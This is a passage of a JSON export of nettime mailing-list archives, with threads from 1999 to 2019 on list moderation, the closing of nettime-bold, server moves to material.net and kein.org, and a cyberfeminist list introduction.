&gt; #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l &gt; #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org &gt; #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:  #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, #&nbsp; collaborative text filtering and cultural politics of the nets #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l #&nbsp; archive:\n\n http://www.nettime.org contact: nettime@kein.org #&nbsp; @nettime_bot tweets mail w/ sender unless #ANON is in Subject:   ------------------------------  #&nbsp; distributed via &lt;nettime&gt;: no commercial use without permission #&nbsp; &lt;nettime&gt;&nbsp; is a moderated mailing list for net criticism, #&nbsp; collaborative text filtering and cultural politics of the nets #&nbsp; more info:\n\n http://mx.kein.org/mailman/listinfo/nettime-l  End of nettime-l Digest, Vol 141, Issue 11 ******************************************    # distributed via : no commercial use without permission #\n\n is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: http://mx.kein.org/mailman/listinfo/nettime-l # archive: http://www.nettime.org contact: nettime@kein.org # @nettime_bot tweets mail w/ sender unless #ANON is in Subject:    -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190609/e0c01c2f/attachment.html>  ------------------------------  #\n\n distributed via <nettime>: no commercial use without permission #\n\n <nettime>\n\n is a moderated mailing list for net criticism, #\n\n collaborative text filtering and cultural politics of the nets #\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l  End of nettime-l Digest, Vol 141, Issue 14 ******************************************#\n\n distributed via <nettime>: no commercial use without permission#\n\n <nettime>\n\n is a moderated mailing list for net criticism,#\n\n collaborative text filtering and cultural politics of the nets#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l#\n\n archive: http://www.nettime.org contact: nettime@kein.org#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00044",
                        "date": "Wed, 12 Jun 2019 16:18:51 +0100",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "06ab2728&#45;fed3&#45;4d4f&#45;b9c8&#45;f8b76fe1bb9d@www.fastmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00044.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Tom Keene",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can\tchange\tit."
                    }
                ],
                "message-id": "1c67fd4e&#45;4f0d&#45;4ef9&#45;8e06&#45;db3a3caf76ba@www.fastmail.com",
                "date": "Fri, 07 Jun 2019 12:08:36 -0400",
                "content-type": "text/plai"
            },
            {
                "id": "00081",
                "content": "\nDear mod squad,\n\n \ni thought the contrary, that nettime is exactly the only list that failed\nto remain open in the new media criticism&art lists environment,\nevery other list came up with an idea...\n\nI am one of those persons whose mails normally don't hit the nettime\nquality standards or does not fit in the policy, and this also makes \nme even more than oppose moderation, \nbut besides that, i think nettime failed exactly because of moderation\nor bad moderation in several respects:\n\n- it lost the intimacy of personal communication and personal culture\nas opposed to commercial and largely spread push content and academic culture\n- it failed to cover both Western and Eastern underground culture,\nlargely based on the aesthetic of the imperfect *West* or on formal perfection\n*East* [just think to nettime's resistence to ASCII art and culture, law-fi, \nor compare this mail of the mod sqaud with a former  mod mail \nhttp://amsterdam.nettime.org/Lists-Archives/nettime-l-9802/msg00002.html]\n- the list suppressed or neglected among others criticism concerning female \nparticipation, race politics, multiple cultures, information and network culture \n- together with the increasing number of subsribers the list gave up somewhere \nto found the Neue Frankfurter Schule, but it also failed to concentrate on\nresearch both in the field of art and media. Somehow first it became a \ndog driven by the tail of media activism, a term originally coined by Toshia Ueno\nto describe the task of including subcultures and counter cultures in an interface\nremaking and changing the public sphere - now look, nowadays even online activism is meant \nfor saving curators of the elite. Meanwhile, together with establishing, \nthe list also became one of the many lists...\n- moderation is a good ground for abuse, it may exclude alternative views,\nand favour unjustly other ones, ex aequo et bono it does, and so does\nnettime's moderation model - just to mention the example of nettime's influence\non the syndicate list once started to encourage East and West European art and information \nexchange, where the two West European moderators failed to recognize a subscriber's East European\nattitude and identity, and kicked it off the the list without the community's\napproval, without discussion, and even without letting known the unsubscription.\nProblems with the nettime moderation started with the rejection of posts that could \nhave been relevant for the list content, goal and manifesto, and ends with the\ncomplete change of the character of the list.\n- Pit Schulz was sighing from his boots in 1996 that there is need of a software\nfor a list, I don't know what happened since than, where is that software?\nWhy did the nettime bold include all the spam, why the list was not set to reject\nnon-subscriber's mail? \nEven a small list like syndicate, that has no instutional\nsupport except for hosting the list on a safe server,\nexperiments much more in the field of information exchange,\nwith the KKnut project for example, that allows direct interaction\nof URL, text, and a mailinglist. Have a look at http://anart.no/~syndicate/KKnut/.\n- if once the nettime meeting took place as a 'let's also do something' alibi\nwhen I wanted to go to Venice in 1995, and since i did not get the visa for Italy,\ni got the nettime list instead of Venice, now, together with the dead of nettime bold,\ni state that I don't need it anymore, this year I'll make it to Venice,\nand i am one of the five guards who keep alive the fire of openness at the syndicate\nlist.\n\ngreetings,\nAnna Balint\n\n2003.05.28. 19:17:40, the nettime mod squad <nettime {AT} bbs.thing.net> wrote:\n\n>Dear Nettimers,\n>\n>We are closing nettime-bold.\n>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00081.html",
                "list": "nettime_l",
                "author_name": "anna balint",
                "subject": "<nettime> Nettime is dead",
                "from": "anna balint <abalint {AT} merz.hu>",
                "follow-up": [
                    {
                        "from": "\"cisler {AT} inreach.com\" <cisler {AT} inreach.com>",
                        "content": "\nAnna Balint's list of complaints about nettime and its moderation trends\npoints to the inherent problems and strengths of moderation, filtering, and\nfocusing.  People, ideas, announcements are excluded.  She bundles those as\nexamples of abuse.\n\nHowever, in list after list, where there is a very diverse and volatile\ngroup and no moderation, you can have a small number of people  who can\ndrive large numbers away.  The membership may grow, but the cohesiveness of\nthe group (if that's a goal) suffers. \n\n My guess is that nettime  moderators are trying to balance this. Balint\nthinks they have failed (and tells us why). I think nettime has worked\nquite well, though I have come and gone a couple of times.\n\nIn 2003 there are so many choices for group interactivity besides mailing\nlists (which are still the most important basic tool).  Web-based ones like\nscoop and drupal allow voting and self-organizing.\n\nhttp://www.drupal.org/\nhttp://scoop.kuro5hin.org/\n\nAnd there are wikis, and blog wikis, and other new hybrids surfacing each\nweek.  Populating those with interesting ideas and people remains the\nongoing challenge.\n\nSteve  \n\n--------------------------------------------------------------------\nmail2web - Check your email from the web at\nhttp://mail2web.com/ .\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00086",
                        "date": "Sat, 31 May 2003 11:18:58 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200305312008.h4VK8D928415 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00086.html",
                        "content-type": "text/plai",
                        "author_name": "cisler {AT} inreach.com",
                        "subject": "RE: <nettime> Nettime is dead"
                    },
                    {
                        "from": "Ian Dickson <ian {AT} iand.demon.co.uk>",
                        "content": "\nInteresting debate, that, broadly speaking, says you can't please all of \nthe people all of the time.\n\nMaybe we can help.\n\nWe could implement Nettime in CommKit.\n\nCommKit is designed to help build complex scalable communities.\n\nThis would create a multi themed community which would include, in \nparallel, sections that were entirely moderated, to areas that were a \nfree for all, and all shades in between.\n\nAccess would require username/password but once in, a members could \nconfigure to operate entirely be email. (This is largely an anti spam, \nanti abuse feature).\n\nMembers would control their own experience. So I would probably join a \nfully moderated area. Others might go moderated, plus join the, for \nexample, unmoderated section of the New Media Arts group.\n\nWe could also allow non executable attachments (which wouldn't be \ndistributed by email, no point in filling up those dial ups with the \nlatest 10MB video art. Email members would be told that an attachment \nexists, and that they can get it from the site).\n\nThis would also be a V2.0 implementation, and so could include the \noption to allow members to publish searchable info about themselves, \nthus aiding offline developments.\n\nLet me know if you want to explore this.\n\nCheers\n-- \nian dickson                                  www.commkit.com\nphone +44 (0) 1452 862637                    fax +44 (0) 1452 862670\nPO Box 240, Gloucester, GL3 4YE, England\n\n           \"for building communities that work\"\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00090",
                        "date": "Sat, 31 May 2003 19:06:59 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200306010618.h516I2132209 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00090.html",
                        "content-type": "text/plai",
                        "author_name": "Ian Dickson",
                        "subject": "Re: <nettime> Nettime is dead"
                    }
                ],
                "message-id": "200305301838.h4UIcR118811 {AT} bbs.thing.net",
                "date": "Fri, 30 May 2003 16:27:12 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00078",
                "content": "\nOn Wed, 28 May 2003 19:17:40 +0200\nthe nettime mod squad <nettime {AT} bbs.thing.net> wrote:\n\n> As an experiment, Nettime-bold was a failure, but a revealing one. First,\n> there was very little interest in it. At its best, nettime-bold had about\n> 130 subscribers, which, at the time, was 5% the subscribers nettime-l had.\n\nI think these figures serve no useful purpose.\n\nI switched to nettime-bold but soon found replies to threads\nappearing that never made it to nettime-bold in the first place.\n\nI posed the question several years ago, and got an explanation of\nwhy it happened that way, but we didn't get much further than that.\n\nhttp://amsterdam.nettime.org/Lists-Archives/nettime-bold-0104/msg00096.html\n\nSort of killed the whole point of being on the bold list for me,\nso I gave up and went back to nettime-l.\n\nI think an unmoderated version of nettime is a good idea -- I \nwould join it, if it worked.  \n\nI volunteered to help at the time, even met with a moderator to\ndiscuss what we could do, but there seemed to be a major\nresistance going on at the t op.\n\n\n\n- cpaul\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00078.html",
                "list": "nettime_l",
                "author_name": "cpaul",
                "subject": "Re: <nettime> Nettime-bold is <bleep>",
                "from": "cpaul <inc {AT} fastmedia.net>",
                "follow-up": [
                    {
                        "from": "\"Eduardo Navas\" <eduardo {AT} navasse.net>",
                        "content": "\n> > As an experiment, Nettime-bold was a failure, but a revealing one.\n> > First, there was very little interest in it. At its best,\n> > nettime-bold had about 130 subscribers, which, at the time, was 5%\n> > the subscribers nettime-l had.\n>\n> I think these figures serve no useful purpose.\n(you know the rest from the thread...)\n<--snip-->\n\n-----------------\n\nMy response:\n\nThe key to this dilemma is time.  Nettime bold is not successful due to\nthe amount of time it takes to filter all of the submitted material.  In\nan ideal world, all nettimers would have the time to look over every\ne-mail sent to the bold list, but this is not possible as everyone is\nattached to some sort of obligation that takes time away from full\nimmersion in possible meaninglessness...\n\nI think if the time were available bold would be very successful, but the\ntruth is that most decent publications need editors -- I do not care how\ndecentralized the net may become, this will always be true to some degree.\nEditors have been around for quite some time in order to subsume noise.\nUnfortunately, editors (by default) hold a certain priviledged position\nwithin the intellectual power structure -- Nettime volunteers are no\ndifferent.  Let us be honest about this and move on.  Though I do think\nthe bold list should be made available in some form -- even as messy\ngarbage... who knows, maybe someone could appropriate it as a decadent\nstate of overproductive awareness.\n\nKeep on editing, but find some way to leave some (that is where the real\nchallenge is...)\n\n\n\nPeeezaaccdeee.\nEduardo Navas\nhttp://navasse.net\nhttp://netartreview.net\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00079",
                        "date": "Fri, 30 May 2003 00:59:32 -0600",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200305301303.h4UD3C216823 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00079.html",
                        "content-type": "text/plai",
                        "author_name": "Eduardo Navas",
                        "subject": "Re: <nettime> Nettime-bold is <bleep>"
                    },
                    {
                        "from": "Andreas Broeckmann <abroeck {AT} transmediale.de>",
                        "content": "\ndear cpaul,\n\nthe whole thing is really easy; you create a mailing list that \nreceives everything sent to nettime-l as a forward; this list is \nnettime-bold, and you and others can subscribe, communicate etc. on \nit, as well as push stuff from bold to nettime-l. however, if _you_ \ndon't create and maintain this list, _somebody else_ will have to do \nit, and i fully understand that the current moderators don't want to \nbe that 'somebody'. maintaining a successful list, incl. \ncommunication with confused subscribers, surprised sys-ops, and an \never-growing amount of spam, is time-consuming, and i am surprised \nwhy people are not more inventive when it comes to creating \nalternative channels.\n\nall you need to do is ask the nettime mods for including\n\nforward inc {AT} fastmedia.net\n\nand you get the whole thing unfiltered. become a bold archivist!\n\ngreetings,\n-a\n\n\n>I think an unmoderated version of nettime is a good idea -- I\n>would join it, if it worked. \n>\n>I volunteered to help at the time, even met with a moderator to\n>discuss what we could do, but there seemed to be a major\n>resistance going on at the t op.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00080",
                        "date": "Fri, 30 May 2003 09:56:13 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200305301829.h4UITlg18769 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00080.html",
                        "content-type": "text/plai",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: <nettime> Nettime-bold is <bleep>"
                    },
                    {
                        "from": "cpaul <inc {AT} fastmedia.net>",
                        "content": "\nabroeck {AT} transmediale.de wrote:\n\n> the whole thing is really easy; you create a mailing list that \n> receives everything sent to nettime-l as a forward; this list is \n> nettime-bold\n\n> all you need to do is ask the nettime mods for including\n>\n> forward inc {AT} fastmedia.net\n> \n> and you get the whole thing unfiltered. become a bold archivist!\n\n> i am surprised why people are not more inventive when it\n> comes to creating alternative channels.\n\nas such the bold feed had a noticibly degraded signal to noise\nratio, since it was missing messages which were not originally\nsent to the correct nettime-l address.  \n\nthis unfortunately reduced its usefulness as a playground for\ninventiveness, for archiving, and even for reading by humans.\n\ni am not disappointed to see that generation of nettime-bold go.\nif it gives the moderators troubles, end it.\n\ni would like to engage with an unmoderated nettime, but i think\nthe difficulty of accessing a raw feed in its fullness continues\nrecursively.\n\n\n\nFrom: t byfield <tbyfield {AT} panix.com>\nDate: Wed, 4 Apr 2001 03:21:38 -0400\nUser-Agent: Mutt/1.2.5i\n\n> jesis {AT} xs4all.nl (Wed 04/04/01 at 08:32 AM +0200):\n> \n> > I think this is not enough, sorry. It is not 'occasionally' that\n> > messages don't reach bold (quite ridiculous to have to say this, bold\n> > was to be the raw nettime and now we have to complain to get more\n> > mail!), it is very often. After my last mail to Felix it changed\n> > slightly, which I am happy about, but still I have to look in the\n> > archive to see what is in nettime! I should not have to be the one to do\n> > this. It is a matter of correctness really. Sorry to say I think you\n> > guys are incredibly sloppy when it comes to this subject of dealing with\n> > the list in a correct way.\n> \n> as felix noted, <nettime {AT} bbs.thing.net> is the admin account or\n> 'listowner' of the mailing list <nettime-l {AT} bbs.thing.net>. that\n> is how it works, and there are good reasons for it: for example,\n> so that error messages--extremely repetitive, hundreds of lines\n> long, dozens per day--don't end up spewing back to a list where\n> they in turn would generate still more error messages, ad infin-\n> itum. there are other very practical reasons for distinguishing\n> between the two addresses.\n> \n> we have explained the difference between the two addresses many\n> times to many people, but, ultimately, people are at liberty to\n> send mail wherever they want. if they send it to -l, it goes to\n> -bold; if they don't it doesn't. maybe they understand why they\n> are sending mail to one address, maybe they don't. it certainly\n> isn't appropriate for the moderators to enforce 'correct' under-\n> standings or actions.\n \n<snip>\n \n> in the meantime, as felix noted in a recent message to nettime, \n> if you're unhappy with the existing setup, you're free to make \n> and maintain your own 'correct' version of -l and -bold.\n\n\n#top\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00084",
                        "date": "Sat, 31 May 2003 02:09:33 +1000",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200305311831.h4VIVhd27312 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00084.html",
                        "content-type": "text/plai",
                        "author_name": "cpaul",
                        "subject": "Re: <nettime> Nettime-bold is <bleep>"
                    }
                ],
                "message-id": "200305291758.h4THwjW05058 {AT} bbs.thing.net",
                "date": "Thu, 29 May 2003 22:21:22 +1000",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "nettime <nettime {AT} basis.Desk.nl>",
                "id": "00069",
                "content": "\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n<nettime-l-temp {AT} material.net> is the temporary home of the nettime-l list\nwhile desk.nl rebuilds its list-serving machine.  please continue to send\nmessages to <nettime-l {AT} desk.nl> and your commands to <majordomo {AT} desk.nl>.\nnettime-l-temp should be active for approximately 2 weeks (11-28 Jun 99).\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\n\n\n\n\n\n    [greetings...as of Tue, 8 Jun 1999 10:18:58 +0200 (CEST) or so,\n     basis.desk.nl, the computer nettime runs on, has been more or\n     less dead. it's alive in the sense that it receives mail, but\n     dead in the sense that it cannot distribute mail. desk is pre-\n     paring to upgrade the server, but that might take a few weeks. \n     so, until that upgrade is complete, we are moving the task of \n     *distributing* nettime to <material.net>; however, the *incom-\n     ing* addresses will be the same: mail for distribution to the \n     list goes to <nettime-l {AT} desk.nl>, and all majordomo commands--\n     un/subscriptions--to <majordomo {AT} desk.nl>. while the kludge is\n     in effect, unfortunately, mail will be 'From: nettime.' we'll\n     mangle it so that the subject line includes who actually sent\n     the message. and all messages will have a header and a footer\n     explaining the situation. over the next few days--today being\n     11 june--we will resend all messages that arrived but seeming-\n     ly were never distributed. we expect this situation will last\n     for about 2 weeks. thanks for being patient. --cheerrrs tb/fs]\n\n\n\n",
                "date": "Fri, 11 Jun 1999 22:17:38 +0100",
                "to": "nettime-l-temp <nettime-l-temp {AT} material.net>",
                "message-id": "19990611221738.00204 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9906/msg00069.html",
                "list": "nettime_l",
                "author_name": "nettime",
                "subject": "Incredibly Important Administrativa, Sort of"
            },
            {
                "id": "00025",
                "content": "Dear nettimers,\n\nFor many years, through work and play, the nettime-l moderation team has \nmaintained this list from locations, both banal and exotic, around the \nworld with very little interruption. For lurkers, the break of the last\nweek probably seemed like the usual summer slack; but for those who sent\nmessages to the list, error message may have revealed that something was \nafoot.\n\nThe Thing in NYC -- in particular, bbs.thing.net -- has been nettime-l's\nhome since July 1999. However, a reorganization of The Thing's energies \nand resources has been long overdue. And that, in combination with server \nproblems, put the list offline for the longest time since it made its\nfirst move, from desk.nl to a temporary home on material.net.\n\nWe'd like to offer our sincere thanks to thing.net, and the people who've \nmade bbs.thing.net such a fine home for nettime-l for eight years, almost\nto the day. In particular, we'd like to thank Wolfgang Staehle for his \npatient and generous support of the list (as well as many other excellent \nprojects in our neighborhood). \n\nNettime's new home is at kein.org. Kein currently hosts hundreds of lists \nvery effectively, so we're especially grateful to Florian Schneider for \ngraciously setting up the peculiar configuration this list needs. Really,\nwe couldn't have asked for a better technical or social environment.\n\nPlease not that nettime has now new addresses:\n\n     -> to post to the list: nettime-l {AT} kein.org\n\n     -> to reach us: nettime {AT} kein.org\n\n     -> to un/sub: majordomo {AT} list.kein.org\n\nAll the rest -- in particular, the archives at nettime.org, maintained \nby Michael van Eeden at the Waag in Amsterdam -- will remain the same.\n\nFor those who automatically filter email and/or rely on the list's host \nor headers to process list traffic, please note that this move will \nprobably require some effort on your part.\n\nTed Byfield\nFelix Stalder\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} kein.org and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "Nettime <nettime-l {AT} list.kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0707/msg00025.html",
                "list": "nettime_l",
                "author_name": "nettime's_mod_squad",
                "subject": "<nettime> kein nettime-l",
                "from": "\"nettime's_mod_squad\" <nettime {AT} kein.org>",
                "follow-up": [
                    {
                        "from": "Andreas Broeckmann <ab {AT} tesla-berlin.de>",
                        "content": "dear moderators, people at kein.org, fellow nettimers,\n\nthanks for the info, and for all the work that must have preceeded \nthis short notice on the move!\n\nthanks also to wolfgang, jan and the other people at the thing ny! a \nlot of what has become possible through your efforts will remain as \ninfluential as the infrastructure and labour that it has been based \non, is invisible...\n\nregards,\n-a\n\n\n>We'd like to offer our sincere thanks to thing.net, and the people who've\n>made bbs.thing.net such a fine home for nettime-l for eight years, almost\n>to the day. In particular, we'd like to thank Wolfgang Staehle for his\n>patient and generous support of the list (as well as many other excellent\n>projects in our neighborhood).\n>\n>Nettime's new home is at kein.org.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} kein.org and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00026",
                        "date": "Thu, 19 Jul 2007 22:09:55 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "200707201033.l6KAXWth029365 {AT} poodle.kein.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0707/msg00026.html",
                        "content-type": "text/plai",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: <nettime> kein nettime-l"
                    }
                ],
                "message-id": "200707191348.l6JDm7lV016598 {AT} poodle.kein.or",
                "date": "Thu, 19 Jul 2007 15:44:30 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Diana McCarty <diana@vifu.de>",
                "id": "00004",
                "content": "\nHello all you old and new old boys! \n\nCongratulations to you old,old boys for all the work in putting this\nlist together. I can't wait to hear more about the very cyberfem event.\nHere goes a brief intro to myself and some kind of update for Susanne, \n(who I see most irregularly in berlino).\n\nI'm co-founder of the faces mailing list (guessing that many of you are\non it as well?) that is run by Vali Djordjevic, Kathy Rae Huffman et\nmoi!  We hosted the early discussion for the first cyberfeminist \ninternational in Kassel - I have to say I'm still confused over some of \nthat cyberfeminism vs. feminism discussion that took place back then. \nIf you were there, you know what I mean ;) \n\nThose of you that were at that wonderfully, professionally organized\nfaces meeting at bootlab will be pleased to know that we finally dealt \nwith all kinds of horrendous paperwork and trips to the bank and are \nnow a legal institution in Germany! I'll keep you posted on future \nworkshops - tech/talk etc. And if you are in berlin, please drop by, \nliz vlx  arranged a fantastic new coffe machine here - hint hint. \nThere is room for small presentations, so don't be shy! \n\nMaybe some of you are following the xxero thing a bit - i'll post some\ninfo here soon. I'm trying to get the hang of the MOO now - and plan to \nbuild up an area on cyberfeminist diets and political bananas. \nI'm still doing some research for this, but will send more on that \nwhen its ready. \n\nCtrl Alt Delete/double click/ask your neighbor/etc\nkeywords from last summer's job - teaching computer skills to women at\nIFU. WOW what an experience. The team I worked with was great - Barbara\nare\nyou here? She's a babe. That was a fantastic time and the women there\nwere\njust incredible. Faith had a small taste during her talk there. \n\nIt might be that I'm one of the bad investors in cf, but at least with\nan eye on the long-term returns. For me, all of the above amounts to\nsome\nform of cyberfeminist practice, but can I just quote vns: \n\n> The female body is the most contested zone, pharmacutical and genetic\n> engeneering corporations are vying for the territory. Cyberfeminism is\n> knowlege. Cyberfeminism is activism.\n\nand say ditto to that. \n\n\n\nviele gruesse, \n\nDiana\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                "date": "Fri, 11 May 2001 21:52:34 +0200",
                "to": "ldboys@lists.ccc.de",
                "message-id": "3AFC4302.575219DD@vifu.",
                "url": "https://nettime.org/Lists-Archives/oldboys-0105/msg00004.html",
                "list": "oldboys",
                "author_name": "Diana McCarty",
                "subject": "[oldboys] warmer welcome less line breaks."
            },
            {
                "content-type": "text/plai",
                "from": "nettime maillist <nettime {AT} Desk.nl>",
                "id": "00100",
                "content": "\n\ndear nettimers\n\nappologies for the break. it took a while to check the technique..\nthis is quite a fat message - you can see it as a practical\nanswer to Jordan's last posting, following Geerts clear and\nelegant reply.\n\nit's a bit paradox, just in the moment we have to discuss a lot, \nthe list is getting 'out of control'. there must be some\nundercurrent streams which are popping up now in strange ways.\nafter the '5 year plan for nettime' Geert and me posted in January,\nwhich was fullfilled until now, even if extremely ambitious, we\nhave now the problem how to deal and distribute the success of\nnettime without breaking down under the needed restructuring of\nreaching a new level of organisation which fits to the changed\nneeds. First, it would need a collaborative description of these\nneeds. it's partly just a question of scale, but there are \nmany more questions.\n\nto leave me one question here: what problems have nettime and\nname.space in common?\n\nInstead of theorizing i'd like to go to the level where\n'i can do something for all of you' without hurting anyone too\nmuch. a moment of silence isn't bad for reflection, the question\nis still if we need moderation and how we decide about it. \na basic problem of 'practical democracy'.\n\nduring the last weeks i got several mail concerning the\nquestion of moderating nettime, basically expressing a\n'clear yes' (ok, there was one 'better not') so, for the\nnext weeks we will go to the model which was already\ntested last year and should work as an interim solution\nuntil we have found something better. \n\n\nthe two channel interim model: \nthe nettime-l mailinglist \n(moderated - by Geert and me until now) and \nalt.nettime (unmoderated). both are subscribable.\nsee the how-to below.\n\nIf this becomes extremely difficult, or if many of\nyou are revolting, we just get back into the old mode\nagain, but i doubt that it will work for long. \nIt is an experiment and it needs your participation\ncritique AND understanding.\n\nhow to deal with the interim solution:\n\nA) alt.nettime: \ncontains *all* mails from nettime-l plus *all* replies. \nthere is (almost) no traffic limit. the best way\nto use this is via a newsreader: zero scarcity!\n\nnewsgroup:\n  news://news.thing.at/alt.nettime or \n  news://www.icf.de/alt.nettime or\n  http://www.dejanews.com ...\n\nby mail:\n  nettime-t {AT} thing.at\n  alt.nettime {AT} workspace.icf.de (temporary)\n\nsubscribe to the newsgroup:\n  send mail to listproc {AT} thing.at\n  subscribe nettime-t Your Name <your adress>\n  into the msg body\n\nB) nettime-l:\n  like before, but with more editing/moderation.\n  post reports, essays, manifestoes, lectures..\n  expect some filtered mails appearing at the newsgroup\n  and more pauses between sended text-packets. \n  also see >some questions< below.\n\na special case: announcements\none suggestion was to set up an own mailinglist for mail-flyers,\n(nettime-annouce) which sends out weekly digests. anyone likes to\nhelp with this? it could easily grow and would then need an own\nmoderator. before announcements will get compiled into a digest\nby hand, and if urgent send out immediatly. someone has then\nto decide which announcements are out of context (private CVs)\nor spam (commercials). with the double mail from Hotwired\nlately i wasn't very sure. i would help a lot and add to the\nquality of nettime if someone else would like to do this \nindependently.\n\nsome questions:\n* how to get to know 'who are we, me, you and the rest of us': \n  subjectivation and indentification is still a burden, nettime\n  in a whole did not count too much on it, let's keep it this way.\n  what colour do you have? who is representing your desires?\n* how to get nettime more 'radical democratic' without destroying it?\n* how to find, discuss and build up new technical solutions which loose\n  the limited and inherently feudalist model of the majordomo behind? \n* how to program and design social interfaces and free groupware before\n  nettime has to adapt to given proprietary and closed software standards?\n* how to keep or put nettime in the hand of the community instead of\n  creating distrust, envy, discordia and a potential abuse of power.\n* how to keep up the ongoing and still working 'gift economy' of \n  pre- and re-publishing without getting in trouble. \n* how to let nettime not become a slow discoursive battleship under\n  one central command-and-control-structure. \n* how to add more critical questions without getting lost in\n  a self-destructive nettime criticism. \n* how to avoid the creating of splinter groups AND a forced unified\n  will under some unwritten dogmata OR a aporia of noise?\n* how to continue this experiment with this extraordinary group\n  of mindful people to still let surprises and conflicts happen,\n  but also work on a continuity and effectivity in the discourse\n  (on and of the net).\n* how to apply technology to enhance and specify the social\n  functionality without loosing coherence and the productive\n  aspects of a working economy of gifts? (is an inner-circle, \n  a group of the oldest nettimers viable, or do we need more\n  'political apperatus', voting, formal debate... and: 